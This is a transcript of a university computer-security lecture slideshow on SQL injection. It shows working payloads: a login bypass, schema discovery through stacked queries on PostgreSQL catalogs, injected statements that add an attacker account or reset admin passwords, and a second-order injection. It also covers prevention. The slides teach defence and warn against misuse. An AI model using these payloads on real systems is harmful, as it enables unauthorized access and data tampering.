463 5 2 sql injection attacks l.
Skip this Video
Loading SlideShow in 5 Seconds..
463.5.2: SQL Injection Attacks PowerPoint Presentation
Download Presentation
463.5.2: SQL Injection Attacks

Loading in 2 Seconds...

play fullscreen
1 / 26

463.5.2: SQL Injection Attacks - PowerPoint PPT Presentation

  • Uploaded on

463.5.2: SQL Injection Attacks. Lars Olson UIUC CS463 Computer Security. Overview. Attack overview SQL review Attack examples Simple attack Discovering database structure Modifying database Preventing attacks. Required. Attack examples SecuriTeam SQL Injection Walkthrough

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
Download Presentation

463.5.2: SQL Injection Attacks

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
463 5 2 sql injection attacks

463.5.2: SQL Injection Attacks

Lars Olson


Computer Security

  • Attack overview
  • SQL review
  • Attack examples
    • Simple attack
    • Discovering database structure
    • Modifying database
  • Preventing attacks
  • Attack examples
    • SecuriTeam SQL Injection Walkthrough
  • More examples and prevention tips (e.g. prepared statements)
    • S. Friedl: “SQL Injection Attacks by Example”
    • Wikipedia entry: “SQL Injection”
  • Second-order SQL injection and syntax analysis
    • Z. Su and G. Wassermann: “The Essence of Command Injection Attacks in Web Applications”
    • Other references available through S. Ng: “Advanced Topics on SQL Injection Protection”
  • Do not use your powers for evil.
  • The purpose of showing these attacks is to teach you how to prevent them.
  • Established e-commerce sites are already hardened to this type of attack.
  • You might cause irreparable harm to a small “mom-and-pop” business.
  • Even if you don’t, breaking into someone else’s database is illegal and unethical.
targets for attack

Application b

Access Control Rules


User a


Targets for Attack
  • Database applications often need to serve multiple users
  • Programmers often give their applications elevated privileges
characterization of attack
Characterization of Attack
  • Not a weakness of SQL
    • ...at least in general
    • SQL Server may run with administrator privileges, and has commands for invoking shell commands
  • Not a weakness of database, PHP/scripting languages, or Apache
  • Building executable code using data from an untrusted user
    • Perl taint mode was created to solve a similar problem
quick sql review 1
Quick SQL Review (1)
  • Querying tables:

select column1, column2 from table_name;


select * from table_name;

  • Conditions:

select columns from table_name where condition;

quick sql review 2
Quick SQL Review (2)
  • Inserting new rows:

insertinto table_name values (value1, value2);


insertinto table_name set column1=value1, column2=value2, ...;

  • Updating rows:

update table_name set column1=value1 where condition;

quick sql review 3
Quick SQL Review (3)
  • Deleting rows:

deletefrom table_name where condition;

  • Set values in conditions:

select * from table_name where column in (select_statement);


select * from table_name where column in (value1, value2, ...);

quick sql review 4
Quick SQL Review (4)
  • Joining tables:

select * from table1, table2 where table1.attribute1 = table2.attribute2;

  • Built-in Functions

selectcount(*) from test;

quick sql review 5
Quick SQL Review (5)
  • Pattern Matching

select * from test where a like'%c_t%';

  • Other Keywords

select * from test where a isnull;

  • Metadata Tables
    • Highly vendor-specific
    • Available tables, table structures are usually stored in some reserved table name(s).
simple example
Simple Example
  • Logging in with:

selectcount(*) from login where username = '$username' and password = '$password';

  • Setting the password to “' or 'a' = 'a”:

selectcount(*) from login where username = 'alice'and password = ''or'a' = 'a';

  • In fact, username doesn’t even have to match anyone in the database
detecting vulnerability
Detecting Vulnerability
  • Try single apostrophe
    • If quotes aren’t filtered, this should yield an error message
    • Error message may be useful to attackers
    • May reveal database vendor (important later on)
  • Try a comment character (double-hyphen in some databases, # symbol in others)
    • Only works for numeric fields, if quotes are filtered
    • Not as commonly filtered
inferring database layout 1
Inferring Database Layout (1)
  • Guess at column names

' and email isnull--

' and email_addr isnull--

  • Use error messages (or lack of)
inferring database layout 2
Inferring Database Layout (2)
  • Guess at table name

' and users.email_addr isnull--

' and login.email_addr isnull--

    • Can be done with an automated dictionary attack
    • Might discover more than one table in the query
  • Guess at other table names

' and1=(selectcount(*) from test)--

discovering table data
Discovering Table Data
  • Depends on query structure, output format
  • May be directed at a particular user or account (e.g. root)

' or username like'%admin%'--

  • May include brute-force password attacks
query stacking 1
Query Stacking (1)
  • Use semicolon as command separator
    • Useful output is limited by application
      • My main example doesn’t output anything from the database.
      • Try the queries on the next two slides on a login page that’s programmed to display the query result.

1; select * from test--

    • Doesn’t display the entire table? Try modifying the query:

1; select b from test--

1; select a from test where a notin (1)--

query stacking 2
Query Stacking (2)
  • Displaying database structure
    • Highly vendor-specific

1; select relname from pg_class--

    • Output displays only one result? Use repeated application

1; select relname from pg_class where relname notin ('views')--

query stacking 3
Query Stacking (3)
  • Displaying database structure (cont)
    • Table structure: vendor-specific, use repeated application if needed

1; select attname from pg_class, pg_attribute where pg_class.relname = 'login'and pg_class.oid = pg_attribute.attrelid--

query stacking 4
Query Stacking (4)
  • Modifying the database

'; insertinto login values(100, 'attacker', 'attackerpw', 2222, 'attacker@example.com')--

'; update login set password='newpw'where username like'%admin%'--

second order sql injection
Second-Order SQL Injection
  • Inserting text fields that will pass initial validation, but could be used later on.
    • e.g. Adding a new user on a web form
    • Username: alice'' or username=''admin
    • Later, the user updates her password. The application runs:

update users set password='$password' where username='$username'

    • The query expands to:

update users set password='newpw'where username='alice'or username='admin'

how to prevent attacks 1
How to Prevent Attacks (1)
  • Input Verification
    • Use pattern matching
    • May be tricky if we want to allow arbitrary text
  • Escape characters
    • addslashes() function or other input sanitizer
    • PHP “Magic Quotes”
      • Automatically corrects single-quote, double-quote, backslash, null
      • Enabled by default in PHP 5, removed in PHP 6
how to prevent attacks 2
How to Prevent Attacks (2)
  • MySQL doesn’t allow query stacking
  • Use stored procedures instead of queries
  • Limit database privileges of application
  • Run in non-admin user space to prevent system calls (e.g. MS SQL Server)
  • Hide error messages
how to prevent attacks 3
How to Prevent Attacks (3)
  • Prepared Statements (Java, Perl, PHP, ...)
    • PHP/PostgreSQL: selectcount(*) from login where username=$1and password=$2
    • Java: selectcount(*) from login where username=?and password=?
    • Also allows database optimization
    • Please note: some parts of a query cannot be parameterized in a prepared statement.
      • Table name, column name, answer size limit
query syntax analysis
Query Syntax Analysis
  • Injection attacks necessarily change the parse tree of a query

Su Wasserman 06

key points
Key Points
  • Examples of SQL injection attacks
    • Unexpected string termination
    • Unexpected comment symbol
    • Discovering database layout
    • Modifying or corrupting the database
    • Second-order SQL injection
  • Attack prevention